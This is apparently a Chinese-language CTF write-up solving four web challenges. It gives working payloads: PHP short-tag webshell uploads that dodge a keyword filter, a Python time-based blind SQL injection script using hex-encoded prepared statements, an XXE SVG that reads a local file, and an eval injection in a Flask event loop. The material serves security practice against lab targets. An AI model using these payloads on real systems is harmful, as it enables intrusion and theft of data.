[红明谷CTF 2021]write_shell 首先是check函数过滤了一些字符
function  check ($input ) {    if (preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input)){                  die ('hacker!!!' );     }else {         return  $input;     } } 
 
如果传入的是数组,那么就会进行foreach再对其键值进行check函数的过滤
function  waf ($input ) {  if (is_array($input)){       foreach ($input as  $key=>$output){           $input[$key] = waf($output);       }   }else {       $input = check($input);   } } 
 
经过waf后的内容将会被传入index.php中
case 'upload':        $data = $_GET["data"] ?? "";        waf($data);        file_put_contents("$dir" . "index.php", $data); 
 
现在需要想的就是如何构造shell,过滤了php我们可以使用短标签进行绕过,过滤了 过滤了php我们可以使用.进行连接,过滤了空格,我们可以使用括号进行绕过,
/?action=upload&data=<?= (ph.pinfo)()?>  
 
绕过成功
/?action=upload&data=<?= `ls%09 /`?>  
 
接下来就是cat它就好了
[SWPU2019]Web4 测试了一下 发现是堆叠注入,但是没有输出回显信息,也不符合布尔盲注的条件
那就要考虑一下时间盲注了,接下来构造一下语句,尝试了一下select sleep(5),发现没有反应,猜测存在过滤,堆叠注入的绕过有一个预处理,可以采取使用concat连接的方式进行绕过
但是由于不确定都过滤了那些内容,虽然可以使用延迟进行fuzz,但是有点麻烦,可以直接采用十六进制转码的形式进行绕过
import  requestsimport  jsonimport  timedef  main ():         url = '''http://5c6e0550-a9af-461f-8eda-50bc9d0086f0.node4.buuoj.cn/index.php?r=Login/Login'''           payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"      flag = ''      for  i in  range(1 ,30 ):                  payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"          for  j in  range(0 ,128 ):                          datas = {'username' :payloads.format(str_to_hex(payload.format(i,j))),'password' :'test213' }             data = json.dumps(datas)             times = time.time()             res = requests.post(url = url, data = data)             if  time.time() - times >= 3 :                 flag = flag + chr(j)                 print(flag)                 break  def  str_to_hex (s ):    return  '' .join([hex(ord(c)).replace('0x' , '' ) for  c in  s]) if  __name__ == '__main__' :    main() 
 
这个是网上大神的脚本,我的好像出了点问题,没跑出来–得到glzjin_wants_a_girl_friend.zip里面是源码,接下来审计一下: 打开controllers进行审计,可以发现basecontrollers中,有文件包含,那么我看看这个viewData是用extract() 函数从数组中将变量导入到当前的符号表。如果可以控制这个viewdata,那么就可以实现变量覆盖了
class  BaseController  {	 	private  $viewPath; 	public  function  loadView ($viewName ='' , $viewData = [] ) 	 {		$this ->viewPath = BASE_PATH . "/View/{$viewName} .php" ; 		if (file_exists($this ->viewPath)) 		{ 			extract($viewData); 			include  $this ->viewPath; 		} 	} 	 } 
 
而这个load方法只在user里面看到,并且listDAT是有request获得的
去userIndex里面查看一下这里的变量是img_file 理一下思路,我们可以使用extract需要变量覆盖,传入的值是也是可控的,用request,所以构造payload,首先我们得先到user这个路由这里
不过对于这个传值还是想研究一下,所以在phpstorm里面断点调试一下
为什么要是img,因为后面是这个变量的内容会回显在网页上,也就是这个图片
[BSidesCF 2019]SVGMagic 题目说将svg转为png,svg是用xml格式定义的图像,推测是xxe注入
在本地先编写一个svg文件
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file  SYSTEM  "file:///proc/self/cwd/flag.txt"  > ]> <svg  width ="2000"  height ="100" > <text  x ="100"  y ="100" > &file; </text > </svg > 
 
然后将其上传即可
[DDCTF 2019]homebrew event loop python源码审计
将event写入session函数
def  trigger_event (event ):    session['log' ].append(event)     if  len(session['log' ]) > 5 :         session['log' ] = session['log' ][-5 :]     if  type(event) == type([]):         request.event_queue += event     else :         request.event_queue.append(event) 
 
有三个points,0个num_items,但是不清楚有什么是写在session中的
这里num_items要大于等于5 flag就会被写入session
如果我们可以先买钻石,然后让flag被写入session中,然后再扣费,那就可以实现num_items大于等于5,可以看到这里有一个eval函数:
因为eval函数后面的参数可控所以
action:trigger_event%23;action:buy;5%23action:get_flag; 
 
然后使用flask-session-manager-master解密session 即可获得flag